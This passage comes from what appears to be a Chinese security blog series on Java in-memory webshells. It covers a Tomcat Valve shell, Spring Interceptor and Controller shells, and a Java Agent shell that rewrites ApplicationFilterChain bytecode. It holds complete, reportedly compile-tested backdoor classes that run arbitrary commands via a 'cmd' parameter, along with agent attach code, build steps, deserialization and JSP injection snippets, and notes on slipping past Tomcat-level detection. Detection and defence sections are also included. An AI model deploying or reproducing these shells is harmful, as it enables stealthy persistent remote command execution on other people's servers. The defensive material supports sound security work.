context.getPipeline().addValve(new EvilValve());
5.2 绕过 Filter 监控型 WAF
WAF / 安全产品监控:
✅ filterDefs / filterMaps 变化
✅ applicationEventListeners 变化
❌ Pipeline.addValve()(盲区)
5.3 Host / Engine 级持久化
注入到 Engine 层后,即使某个应用被重启、重新部署,Valve 仍留在容器管道上(只要 Tomcat 不重启)。这是 Valve 型相比应用级内存马在持久性上的优势。
六、检测方式
6.1 JMX 检查
ValveBase 实现了 LifecycleMBeanBase,每个 Valve 会注册 MBean:
jconsole → Catalina → type=Valve → 查看异常 Valve 类名
6.2 Arthas 在线排查
# 列出 StandardContext 管道上的所有 Valve
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances[0].getPipeline().getValves()' --limit 10
# 搜索可疑 Valve 类(正常只有 Standard*Valve 等内置阀)
sc *.Valve*
6.3 内存 Dump 分析
jmap -dump:format=b,file=heapdump.hprof <pid>
# MAT 中搜索 ValveBase 子类,检查类名是否非 Tomcat 内置
6.4 基线对比脚本
// 与部署基线对比:列出管道上的 Valve
public static void listValves(StandardContext ctx) {
for (Valve v : ctx.getPipeline().getValves()) {
System.out.println(v.getClass().getName());
}
}
七、防御建议
| 层面 | 措施 | 说明 |
|---|---|---|
| RASP | Hook Pipeline.addValve() |
拦截运行时非启动阶段的 Valve 挂载 |
| JVM Agent | 监控 StandardPipeline 的 addValve 调用 |
记录调用栈来源 |
| 监控 | 定期对比 Pipeline 上的 Valve 基线 | 发现非内置 Valve |
| 事前 | 修复反序列化等 RCE 漏洞 | 切断注入入口 |
// RASP Hook 示意(ByteBuddy @RuntimeType 教学写法)
@RuntimeType
public static void onAddValve(@This StandardPipeline pipeline, @Argument(0) Valve valve) {
StackTraceElement[] stack = Thread.currentThread().getStackTrace();
for (StackTraceElement frame : stack) {
if (frame.getClassName().contains("ContextConfig")) {
return; // 启动阶段放行
}
}
// 运行时挂载 Valve → 告警
alert("Detected runtime Valve injection: " + valve.getClass().getName());
throw new SecurityException("Suspicious pipeline modification blocked");
}
说明:
@RuntimeType/@This为 ByteBuddy 注解,需要net.bytebuddy:byte-buddy依赖,此处为示意写法。
八、总结
Valve 型内存马是四种 Tomcat 内存马中隐蔽性最高的一种:
| 特性 | Filter | Servlet | Listener | Valve |
|---|---|---|---|---|
| 注入难度 | ⭐⭐⭐ | ⭐⭐ | ⭐ | ⭐(最简单) |
| 触发时机 | Filter 链 | Servlet 处理 | 请求到达 | 进入容器即触发 |
| 隐蔽性 | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| 是否需 URL 映射 | 是 | 是 | 否 | 否 |
核心理由:
getPipeline().addValve()是 public 方法,无需反射,注入步骤最少- 不在 Servlet 规范内,安全产品监控覆盖最少
- 不需要 URL 映射,任何请求都经过
- 可注入 Host / Engine 层,影响面更大、更隐蔽
攻击者偏好排序(综合隐蔽性与功能):
- Valve — 最隐蔽、注入最简单
- Listener — 隐蔽、触发早
- Filter — 最灵活、覆盖面广
- Servlet — 备选通道
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Java Agent 内存马 Spring 容器内存马 WebSocket 等偏门内存马
Spring 容器内存马
Spring 容器内存马
Spring 容器型内存马不是 Tomcat 特有的——它作用于 Spring MVC 容器,要求应用使用了 Spring MVC。它的隐蔽性在于:不在 Tomcat 的注册表里(不碰 Filter/Listener/Valve),Tomcat 层的检测完全看不到。
两种常见形态:
| 形态 | 原理 | 触发时机 |
|---|---|---|
| Interceptor 型 | 往 AbstractHandlerMapping.adaptedInterceptors 注入 HandlerInterceptor |
每个请求进入 Controller 之前 |
| Controller 型 | RequestMappingHandlerMapping.registerMapping() 动态注册一个 /evil 路由 |
访问该路由时 |
本文代码已用 Spring 5.3.39(javax)+ 6.1.14(jakarta)真实编译验证。
本质:模拟 Spring 容器装配——把恶意 HandlerInterceptor 塞进 adaptedInterceptors(每个请求触发 preHandle),或把恶意方法 + /evil 路由用 registerMapping 登记进 mappingRegistry。整体框架见 《内存马原理总纲》。
一、Spring MVC 请求处理链
1.1 DispatcherServlet 的分发流程
HTTP 请求
↓
DispatcherServlet.doDispatch()
↓
HandlerMapping.getHandler() ← 找到能处理该 URL 的 Handler
↓
HandlerInterceptor.preHandle() ← 拦截器链(注入点 ①)
↓
Controller 方法 ← 动态注册的 /evil 路由(注入点 ②)
↓
HandlerInterceptor.postHandle() / afterCompletion()
↓
View 渲染 → 响应
DispatcherServlet 启动时会初始化多个 HandlerMapping,其中 RequestMappingHandlerMapping 负责 @RequestMapping 注解的路由。
1.2 两种注入形态对比
Interceptor 型:把恶意拦截器 add 进 adaptedInterceptors 列表
→ 每个请求进 Controller 前都会执行 preHandle(无需访问特定 URL)
Controller 型:registerMapping 注册一个 /evil 路由 + 恶意方法
→ 访问 /evil?cmd=xxx 触发
二、动态注册原理
2.1 Interceptor:adaptedInterceptors 字段
AbstractHandlerMapping 持有 private final List<HandlerInterceptor> adaptedInterceptors,请求分发时会按列表顺序调用每个拦截器的 preHandle。虽然字段是 final 不能重新赋值,但列表本身可变更——反射拿到字段后 add() 即可:
Field field = /* AbstractHandlerMapping 的 adaptedInterceptors 字段 */;
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(mapping);
list.add(new InterceptorMemShell());
2.2 Controller:registerMapping
RequestMappingHandlerMapping.registerMapping(RequestMappingInfo, Object handler, Method method) 是 public 方法,直接把一个方法注册成路由:
RequestMappingInfo info = RequestMappingInfo.paths("/evil").build(); // Builder → info
Method method = controller.getClass().getDeclaredMethod("evil", ...);
mapping.registerMapping(info, controller, method);
三、完整代码实现
3.1 Interceptor 型(javax / Spring 5.x)
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
public class InterceptorMemShell implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
String result = exec(cmd);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("<pre>" + result + "</pre>");
return false; // 拦截,不进入 Controller
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
}
}
return true;
}
/**
* 从 ServletContext 拿 Spring 容器并注入
*/
public static void inject(ServletContext servletContext) throws Exception {
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
// adaptedInterceptors 定义在 AbstractHandlerMapping(父类父类),沿继承链向上找字段
List<HandlerInterceptor> interceptors = getAdaptedInterceptors(mapping);
// 防重复
for (HandlerInterceptor interceptor : interceptors) {
if (interceptor instanceof InterceptorMemShell) {
return;
}
}
interceptors.add(new InterceptorMemShell());
}
@SuppressWarnings("unchecked")
private static List<HandlerInterceptor> getAdaptedInterceptors(RequestMappingHandlerMapping mapping)
throws Exception {
Class<?> cls = mapping.getClass();
Field field = null;
while (cls != null && field == null) {
try {
field = cls.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
cls = cls.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("adaptedInterceptors");
}
field.setAccessible(true);
return (List<HandlerInterceptor>) field.get(mapping);
}
/**
* 统一命令执行器
*/
private static String exec(String cmd) throws Exception {
String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream is = process.getInputStream()) {
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
out.write(buf, 0, len);
}
process.waitFor();
return out.toString(System.getProperty("sun.jnu.encoding"));
}
}
}
3.2 Controller 型(javax / Spring 5.x)
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
public class ControllerMemShell {
/**
* 恶意 Controller 方法:注册后访问 /evil?cmd=xxx 即执行命令
*/
@org.springframework.web.bind.annotation.RequestMapping("/evil")
public void evil(HttpServletRequest request, HttpServletResponse response) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
String result = exec(cmd);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("<pre>" + result + "</pre>");
}
}
public static void inject(ServletContext servletContext) throws Exception {
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
ControllerMemShell controller = new ControllerMemShell();
Method method = controller.getClass().getDeclaredMethod(
"evil", HttpServletRequest.class, HttpServletResponse.class);
// paths() 返回 Builder,build() 生成 RequestMappingInfo
RequestMappingInfo info = RequestMappingInfo.paths("/evil").build();
mapping.registerMapping(info, controller, method);
}
/**
* 统一命令执行器
*/
private static String exec(String cmd) throws Exception {
String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream is = process.getInputStream()) {
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
out.write(buf, 0, len);
}
process.waitFor();
return out.toString(System.getProperty("sun.jnu.encoding"));
}
}
}
3.3 触发注入
JSP(application 即 ServletContext;前提:恶意类已存在于 webapp classloader,例如由反序列化 payload 定义并加载):
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils,
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%
// 方式一:注入 Interceptor(之后任意请求带 ?cmd=xxx 即触发)
InterceptorMemShell.inject(application);
out.println("[+] Interceptor injected: 任意路径 ?cmd=whoami");
// 方式二:注册 Controller 路由(访问 /evil?cmd=xxx)
ControllerMemShell.inject(application);
out.println("[+] Controller injected: /evil?cmd=whoami");
%>
反序列化 payload 片段(无 JSP,直接拿 ServletContext):
// 反序列化 payload 中的代码片段
javax.servlet.ServletContext servletContext = request.getSession().getServletContext();
InterceptorMemShell.inject(servletContext);
3.4 jakarta(Spring 6.x / Tomcat 10+)版本差异
Spring 6 全面迁移到 jakarta.servlet 命名空间,但 Spring MVC 的 API(HandlerInterceptor、RequestMappingHandlerMapping、adaptedInterceptors)未变。仅需把两个类里所有 javax.servlet 换成 jakarta.servlet:
// javax(Spring 5.x)
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
// jakarta(Spring 6.x)—— 全局替换包名即可
import jakarta.servlet.ServletContext;
import jakarta.servlet.http.HttpServletRequest;
四、代码详解
4.1 获取 Spring 容器
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
servletContext 从哪来:
- JSP 里直接用内置对象
application; - 请求里
request.getSession().getServletContext(); - 反序列化 payload 里
(HttpServletRequest)obj.get("request")类似的链。
4.2 adaptedInterceptors 沿继承链反射
字段在 AbstractHandlerMapping,而 RequestMappingHandlerMapping 的继承链是 AbstractHandlerMethodMapping → AbstractHandlerMapping。getDeclaredField 只查当前类,所以要沿 getSuperclass() 向上找(代码里用 while 循环处理)。字段是 final,但列表本身可变,直接 add() 生效。
4.3 registerMapping 动态路由
RequestMappingInfo.paths("/evil").build() 生成映射信息;registerMapping(info, controller, method) 把 controller 的方法注册成 /evil 路由。这是 Spring 提供的能力(Servlet 3.0 规范之外 Spring 自己的扩展),天然支持运行时注册。
4.4 版本兼容性
| Spring 版本 | Servlet 包 | Tomcat 版本 | 差异 |
|---|---|---|---|
| 5.3.x | javax.servlet |
8.5 / 9.x | 本代码适用 |
| 6.0.x / 6.1.x | jakarta.servlet |
10.x / 11.x | 仅替换包名 |
五、利用场景
5.1 反序列化 → Spring 注入
Shiro / Fastjson 反序列化 → 代码执行
→ 拿到 ServletContext(request.getSession().getServletContext())
→ InterceptorMemShell.inject(servletContext) 或 ControllerMemShell.inject(servletContext)
5.2 躲过 Tomcat 层检测
Tomcat 层安全产品监控:
✅ filterDefs / filterMaps / listeners / Pipeline
❌ Spring 容器(adaptedInterceptors / HandlerMapping 注册表)—— 盲区
Spring 内存马不触碰 Tomcat 的任何组件,Tomcat 层的查杀工具(对比 Filter/Listener/Valve 基线)完全无效。
5.3 强依赖 Spring
- 应用必须使用 Spring MVC(
DispatcherServlet+RequestMappingHandlerMapping); - 纯 JSP/Servlet 应用不适用;
- Spring Boot 内嵌 Tomcat 同样适用(
adaptedInterceptors、registerMapping机制一致)。
六、检测方式
6.1 枚举 HandlerInterceptor
// 检测代码:列出所有注册的拦截器
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
for (Object interceptor : mapping.getAdaptedInterceptors()) {
System.out.println(interceptor.getClass().getName());
}
6.2 枚举动态路由
// 列出所有已注册的 RequestMapping,检查是否有非业务路由
for (Object handlerMethod : mapping.getHandlerMethods().keySet()) {
System.out.println(handlerMethod);
}
// 或 curl 探测:/evil?cmd=whoami 是否返回命令结果
6.3 基线对比
把应用启动时的拦截器 / 路由列表存为基线,运行时定期对比,出现新增项即告警。
七、防御建议
| 层面 | 措施 | 说明 |
|---|---|---|
| RASP | Hook adaptedInterceptors.add() / registerMapping() |
拦截运行时注入 |
| Spring | 启用 Spring Security 并白名单过滤 |
即使注册了 /evil 也无法未授权访问 |
| 监控 | 定期对比拦截器 / 路由基线 | 发现异常 Handler |
| 事前 | 修复反序列化等 RCE 漏洞 | 切断注入入口 |
八、总结
Spring 容器型内存马与 Tomcat 层的四种类型互补:
| 特性 | Tomcat 层(Filter/Servlet/Listener/Valve) | Spring 容器型 |
|---|---|---|
| 适用前提 | 任意 Web 应用 | 必须用 Spring MVC |
| 触碰的注册表 | Tomcat 组件 | Spring 容器 |
| Tomcat 层检测 | 可见 | 不可见(盲区) |
| 隐蔽性 | 中~高 | 高 |
攻击者偏好排序(综合隐蔽性与功能):
- Agent — JVM 层,最隐蔽
- Valve — Tomcat 层最隐蔽
- Spring Interceptor / Controller — 应用是 Spring 时的隐蔽通道
- Listener / Filter / Servlet — 常见
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 WebSocket 等偏门内存马
Java Agent 内存马
Java Agent 内存马
Agent 型内存马是** JVM 字节码层的无文件内存马,也是最难检测**的一类。
与 Filter / Servlet / Listener / Valve 不同,Agent 内存马不注册任何容器组件——它不往 StandardContext 里加任何东西,而是通过 Java Instrumentation 机制(java.lang.instrument)注入一个 ClassFileTransformer,改写目标类的字节码,在请求处理路径(如 ApplicationFilterChain.internalDoFilter)上插入命令执行逻辑。类名、包名都是原有的,JMX / Arthas 查容器组件完全看不到。
说明:Agent 内存马作用于整个 JVM,不限于 Tomcat,但对运行在 Tomcat 上的 Web 应用最有效。本文以 Tomcat 9.0.100(javax)与 10.1.34(jakarta)为验证版本。
本质:模拟 JVM 的字节码重定义(Instrumentation + ClassFileTransformer),把恶意代码直接插入 ApplicationFilterChain.internalDoFilter 方法体,类名、注册表都不变,因此最难检测。整体框架见 《内存马原理总纲》。
一、Java Instrumentation 机制
1.1 两种入口:premain 与 agentmain
java.lang.instrument 提供两种注入字节码转换器的时机:
| 入口 | 时机 | 注入方式 |
|---|---|---|
premain(String, Instrumentation) |
JVM 启动时 | 启动参数 -javaagent:evil-agent.jar |
agentmain(String, Instrumentation) |
运行时(JVM 已启动) | VirtualMachine.attach(pid) + loadAgent() |
内存马场景几乎都是 agentmain——目标 JVM 早已运行,通过 attach 机制从外部注入。
1.2 ClassFileTransformer 与 retransform
Instrumentation.addTransformer(ClassFileTransformer, boolean canRetransform) 注册一个转换器。它对之后加载的类生效;对已经加载的类,需要调用 retransformClasses(Class<?>...) 触发重新转换:
addTransformer(t, true) → 之后的类加载时调用 t.transform()
retransformClasses(C) → 已加载的类 C 重新过一遍 transformer(需 canRetransform=true)
1.3 为什么 Agent 内存马最难检测
Filter/Servlet/Listener/Valve 内存马 → 容器里多出"组件"(注册表可见)
Agent 内存马 → 类名不变、包名不变、容器无任何新增组件,改的是内存里的字节码
检测 Agent 型只有两条路:
1. 枚举 JVM 里注册的 ClassFileTransformer
2. 对比磁盘 .class 与 JVM 中运行时字节码的差异(diff)
二、注入原理
2.1 attach 流程
攻击者 JVM / JSP / 反序列化 payload
↓ VirtualMachine.attach(目标pid)
↓ vm.loadAgent(evil-agent.jar)
↓ JVM 调用 agentmain(args, inst)
↓ inst.addTransformer(transformer, true)
↓ inst.retransformClasses(ApplicationFilterChain)
↓ 下一次请求进入 internalDoFilter() 时执行插入的代码
2.2 选择 hook 点
经典的 hook 点是 org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ServletRequest, ServletResponse)——它是每个请求进入 Filter 链的必经方法,$1 是 ServletRequest,$2 是 ServletResponse:
CoyoteAdapter → ... → StandardWrapperValve
↓
ApplicationFilterChain.doFilter()
↓
internalDoFilter(request, response) ← 在这里插入命令执行逻辑
↓
Filter1 → Filter2 → ... → servlet.service()
备选 hook 点:javax.servlet.http.HttpServlet.service(...)(见 5.2)。
2.3 字节码改写(Javassist)
直接操作字节码很繁琐,这里用 Javassist 在 internalDoFilter 方法开头 insertBefore 一段代码:有 cmd 参数就执行命令并写回响应,然后 return(短路,不进入 Filter 链);否则继续原逻辑。
三、完整代码实现
3.1 恶意 Transformer(javax / Tomcat 8.5 / 9.x)
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;
public class EvilTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
// className 形如 org/apache/catalina/core/ApplicationFilterChain
if (className == null || !className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
return null; // 不关心的类返回 null,保持原字节码
}
CtClass ct = null;
try {
// 每次用全新 ClassPool:ClassPool.getDefault() 是全局共享池,
// makeClass 发现同名类已在池里就返回缓存的 CtClass(可能已 modified),会跳过插入
ClassPool pool = new ClassPool(null);
if (loader != null) {
// 让 javassist 编译插入片段时能解析 javax.servlet 等类型(用目标类的 classloader)
pool.appendClassPath(new LoaderClassPath(loader));
}
// 从"当前已加载类"的字节码构造,而不是 ClassPool.getDefault().get(className):
// Tomcat 里 catalina.jar 由 common classloader 加载,java.class.path 上找不到
ct = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
// $1 = ServletRequest, $2 = ServletResponse(internalDoFilter 的两个参数)
ct.getDeclaredMethod("internalDoFilter").insertBefore(
"javax.servlet.ServletRequest __req = $1;"
+ "String __c = __req.getParameter(\"cmd\");"
+ "if (__c != null && !__c.isEmpty()) {"
+ " try {"
+ " Process __p = Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",__c});"
+ " java.io.InputStream __in = __p.getInputStream();"
+ " byte[] __buf = new byte[4096];"
+ " java.io.ByteArrayOutputStream __bout = new java.io.ByteArrayOutputStream();"
+ " int __len;"
+ " while ((__len = __in.read(__buf)) != -1) __bout.write(__buf, 0, __len);"
+ " ((javax.servlet.http.HttpServletResponse)$2).setContentType(\"text/html;charset=UTF-8\");"
+ " ((javax.servlet.http.HttpServletResponse)$2).getWriter().write(\"<pre>\" + new String(__bout.toByteArray(), \"UTF-8\") + \"</pre>\");"
+ " } catch (Exception __e) { __e.printStackTrace(); }"
+ " return;"
+ "}"
);
byte[] bytes = ct.toBytecode();
return bytes;
} catch (Throwable t) {
t.printStackTrace();
} finally {
if (ct != null) ct.detach();
}
return null;
}
}
3.2 Agent 入口 agentmain(javax)
import java.lang.instrument.Instrumentation;
public class EvilAgent {
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new EvilTransformer(), true);
// 不能用 Class.forName 定位目标类:agentmain 跑在 system classloader,
// 而 ApplicationFilterChain 由 Tomcat 的 common classloader 加载,forName 会抛
// ClassNotFoundException。改用 getAllLoadedClasses() 遍历已加载类来定位。
Class<?> target = null;
for (Class<?> c : inst.getAllLoadedClasses()) {
if ("org.apache.catalina.core.ApplicationFilterChain".equals(c.getName())) {
target = c;
break;
}
}
if (target == null) {
System.out.println("[!] ApplicationFilterChain not loaded");
return;
}
try {
// 目标类在 attach 时已加载,需 retransform 才会重写字节码
inst.retransformClasses(target);
System.out.println("[+] Agent transformer applied to ApplicationFilterChain");
} catch (Throwable t) {
t.printStackTrace();
}
}
}
3.3 attach 触发类(javax)
import com.sun.tools.attach.VirtualMachine;
public class AttachShell {
public static void inject(String targetPid, String agentJarPath) throws Exception {
VirtualMachine vm = VirtualMachine.attach(targetPid);
try {
vm.loadAgent(agentJarPath);
} finally {
vm.detach();
}
}
}
targetPid 可用 jps -l 获取(Tomcat 的 pid 通常记为 org.apache.catalina.startup.Bootstrap)。
3.4 构建 agent jar
agent jar 的 MANIFEST 必须包含 Agent-Class,并声明 Can-Retransform-Classes: true:
Manifest-Version: 1.0
Agent-Class: EvilAgent
Can-Retransform-Classes: true
# 1. 编译(需要 javassist.jar;AttachShell 需额外 --add-modules jdk.attach)
javac -cp javassist.jar -d agent_classes EvilAgent.java EvilTransformer.java
# 2. 打包(Manifest 放 META-INF/MANIFEST.MF)
jar cfm evil-agent.jar META-INF/MANIFEST.MF -C agent_classes .
# 3. 由于 agent 类由系统类加载器加载,javassist 必须可达。
# 最简单的方式是用 maven-shade-plugin 把 javassist 打进 agent jar(fat jar):
<!-- pom.xml 片段:shade 打包,把 javassist 打进去,并写入 Agent-Class 清单 -->
<build>
<finalName>evil-agent</finalName>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>3.5.1</version>
<executions>
<execution>
<phase>package</phase>
<goals><goal>shade</goal></goals>
<configuration>
<transformers>
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<manifestEntries>
<Agent-Class>EvilAgent</Agent-Class>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
3.5 jakarta(Tomcat 10+)版本差异
ApplicationFilterChain 类路径不变(org.apache.catalina.core),但插入的字节码里引用的 Servlet 类型要换包名:
// javax(Tomcat 8.5 / 9.x)
"javax.servlet.ServletRequest __req = $1;"
"((javax.servlet.http.HttpServletResponse)$2).getWriter()..."
// jakarta(Tomcat 10.x / 11.x)—— 插入字符串里全部替换
"jakarta.servlet.ServletRequest __req = $1;"
"((jakarta.servlet.http.HttpServletResponse)$2).getWriter()..."
EvilAgent 与 AttachShell 两个版本完全一致。
四、代码详解
4.1 transform 返回 null 的语义
transform 返回 null 表示”不修改该类,保留原字节码”。因此必须用 className 白名单精确命中目标类,否则 JVM 里每个类都会过一遍转换器,浪费性能且容易出错。
4.2 $1 / $2 参数引用
Javassist 里 $1、$2 是方法参数占位符。internalDoFilter(ServletRequest, ServletResponse) 的 $1 是请求、$2 是响应。ServletResponse 没有 getWriter(),所以要强转成 HttpServletResponse。
4.3 canRetransform 与 retransformClasses
addTransformer(t, true)的第二个参数true表示允许 retransform。- 对已加载的类,必须显式
retransformClasses(...)才会生效;只 addTransformer 不会影响已加载类。
4.4 实战踩坑:ClassPool 与已加载类(Tomcat 8.5.39 / JDK 8 实测)
3.1 的写法是在真实 Tomcat 上逐一踩坑后修正的,三个关键点缺一不可:
-
Class.forName定位不了目标类:agentmain 跑在 system classloader,而ApplicationFilterChain由 Tomcat 的 common classloader 加载,Class.forName直接抛ClassNotFoundException。必须用inst.getAllLoadedClasses()遍历已加载类来定位(见 3.2)。 -
ClassPool.getDefault().get(className)找不到类:javassist 按java.class.path解析,但 catalina.jar 由 common classloader 加载、不在java.class.path上。必须从transform()收到的classfileBuffer(当前已加载类的实际字节码)用pool.makeClass(new ByteArrayInputStream(classfileBuffer))构造 CtClass。 -
ClassPool.getDefault()全局共享池会跳过插入:makeClass发现同名类已在池里时返回缓存的 CtClass(可能已 modified),导致isModified()=true跳过insertBefore——表现是 attach 成功、类却没被改。必须每次调用新建ClassPool(null),并appendClassPath(new LoaderClassPath(loader))让 javassist 编译插入片段时能解析javax.servlet等类型(loader 是目标类的 classloader)。
实测链路(每步写入
/tmp/evil-agent-debug.log):agentmain 开始 → 找到目标类 → transform 被调用 → makeClass 成功 → insertBefore 完成 → transform OK → retransformClasses 调用成功此时任意请求带?cmd=whoami即执行命令。
4.5 版本兼容性
| Tomcat 版本 | 目标类 | 插入字符串里的 Servlet 包 |
|---|---|---|
| 8.5.x / 9.x | org.apache.catalina.core.ApplicationFilterChain |
javax.servlet.* |
| 10.x / 11.x | org.apache.catalina.core.ApplicationFilterChain |
jakarta.servlet.* |
五、利用场景
5.1 反序列化 → attach
Shiro / Fastjson 反序列化拿到代码执行后,调用 AttachShell.inject(pid, agentJar) 即可完成注入(agent jar 可放在内存中由 URLClassLoader 加载后 attach,或先写到临时目录):
// 反序列化 payload 中的代码片段
String pid = "..."; // 目标 Tomcat 的 JVM pid
String agent = "/tmp/evil-agent.jar"; // 提前上传或内嵌写出
AttachShell.inject(pid, agent);
5.2 备选 hook 点:HttpServlet.service
如果 internalDoFilter 被某些组件替换(少见),可改 hook javax.servlet.http.HttpServlet.service:
// 把 3.1 里的目标类换成 HttpServlet(同样用 getAllLoadedClasses 定位,见 4.4)
Class<?> target = null;
for (Class<?> c : inst.getAllLoadedClasses()) {
if ("javax.servlet.http.HttpServlet".equals(c.getName())) {
target = c;
break;
}
}
inst.retransformClasses(target);
// transformer 里 insertBefore 的代码相同(service 的参数 $1/$2 也是 request/response)
5.3 隐蔽性优势
- 容器注册表(filterDefs / filterMaps / listeners / pipeline valves)完全无变化;
- 类名保持
ApplicationFilterChain,常规类名扫描(sc *.Filter*)不命中; - 常规内存马查杀工具(枚举容器组件)对 Agent 型无效。
六、检测方式
6.1 枚举 ClassFileTransformer
Agent 内存马本质是注册了一个 transformer。用 JDK 自带的 Instrumentation 枚举(需要 attach 一个自写的检测 agent):
// 检测 agent:把注册的 transformer 类名打印出来
public static void agentmain(String args, Instrumentation inst) {
Class<?>[] classes = inst.getAllLoadedClasses();
// 触发一次重转换,观察是否有 transformer 命中不该改的类
for (Class<?> c : classes) {
if (c.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
inst.retransformClasses(c);
}
}
}
更简单的方式:对比”磁盘上的 ApplicationFilterChain.class”与”JVM 中运行时的字节码”——用
Instrumentation无法直接 dump 字节码,实践中可借助 Arthas 的jad反编译对比源码是否被插入逻辑。
6.2 Arthas 反编译对比
# 反编译运行时字节码,观察 internalDoFilter 是否被插入了可疑逻辑
jad org.apache.catalina.core.ApplicationFilterChain
# 与源码对比,出现 __req / __bout / Runtime.getRuntime().exec 等特征即为 Agent 内存马
6.3 查看 agent 加载状态
jcmd <pid> VM.class_hierarchy org.apache.catalina.core.ApplicationFilterChain
# 观察是否有注入的 transformer 特征;或直接重启应用清除
注意:Agent 型内存马无法热移除,大部分查杀工具只能检测不能清除;彻底清除需要重启 JVM。
七、防御建议
| 层面 | 措施 | 说明 |
|---|---|---|
| JVM | -XX:+DisableAttachMechanism |
禁止运行时 attach,从源头阻断 agentmain 注入 |
| JVM | 枚举 Instrumentation 的 transformer |
检测已注册的转换器 |
| RASP | 监控 retransformClasses / addTransformer 调用 |
拦截运行时字节码改写 |
| 事前 | 修复反序列化等 RCE 漏洞 | 切断注入入口(否则任何检测都是事后) |
# 启动参数禁用 attach 机制(Tomcat 的 JAVA_OPTS)
CATALINA_OPTS="-XX:+DisableAttachMechanism"
八、总结
四种内存马中,Agent 型隐蔽性最高、检测难度最大,但也最”重”:
| 特性 | Filter/Servlet/Listener/Valve | Agent |
|---|---|---|
| 作用层 | 容器组件(注册表可见) | JVM 字节码(无注册表) |
| 检测难度 | 可枚举组件对比 | 需对比字节码 / 枚举 transformer |
| 是否可热移除 | 多数可 | 不可(需重启) |
| 隐蔽性 | 中~高 | 最高 |
攻击者偏好排序(综合隐蔽性与功能):
- Agent — 最隐蔽,最难检测/清除
- Valve — 隐蔽,注入简单
- Listener — 隐蔽,触发早
- Filter / Servlet — 常见,易被监控
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Spring 容器内存马 WebSocket 等偏门内存马
Fastjson2 ≤ 2.0.62 AutoType 白名单绕过 RCE 深度分析
Fastjson2 ≤ 2.0.62 AutoType 白名单绕过 RCE 深度分析
